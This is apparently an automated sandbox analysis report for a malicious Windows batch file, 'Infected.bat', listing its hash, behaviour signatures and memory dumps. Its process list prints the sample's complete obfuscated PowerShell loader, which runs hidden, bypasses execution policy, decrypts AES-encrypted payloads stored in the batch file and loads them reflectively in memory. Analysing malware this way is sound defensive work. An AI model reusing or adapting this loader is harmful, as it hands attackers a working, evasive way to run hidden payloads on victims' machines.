Analysis
- max time kernel
16s - max time network
17s - platform
windows7_x64 - resource
win7-20240903-en - resource tags
- submitted
01/01/2025, 02:14
General
- Target Infected.bat
- Size 275KB
- Sample250101-cpdmcssrgr
- SHA256 bbc8ff7e2e2a7dfaeeed29f99136091ab5bfd04c6a1950da110f1844bee918ed
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Infected.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nsne9KwJTcT0ik9fDlH1VUarwx0ZYA17ca2D4u9BEmM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k4iQmFx9sw8C0RFtWRJNRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Wgslw=New-Object System.IO.MemoryStream(,$param_var); $NHVSU=New-Object System.IO.MemoryStream; $YWMkM=New-Object System.IO.Compression.GZipStream($Wgslw, [IO.Compression.CompressionMode]::Decompress); $YWMkM.CopyTo($NHVSU); $YWMkM.Dispose(); $Wgslw.Dispose(); $NHVSU.Dispose(); $NHVSU.ToArray();}function execute_function($param_var,$param2_var){ $MUAAE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Rhvws=$MUAAE.EntryPoint; $Rhvws.Invoke($null, $param2_var);}$XpxeO = 'C:\Users\Admin\AppData\Local\Temp\Infected.bat';$host.UI.RawUI.WindowTitle = $XpxeO;$MSzVM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XpxeO).Split([Environment]::NewLine);foreach ($yHnZs in $MSzVM) { if ($yHnZs.StartsWith(':: ')) { $ISLvE=$yHnZs.Substring(3); break; }}$payloads_var=[string[]]$ISLvE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2752-4-0x000007FEF653E000-0x000007FEF653F000-memory.dmp
memory/2752-5-0x000000001B730000-0x000000001BA12000-memory.dmp
memory/2752-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp
memory/2752-7-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp
memory/2752-8-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp
memory/2752-9-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp
memory/2752-10-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp
memory/2752-12-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp
memory/2752-11-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp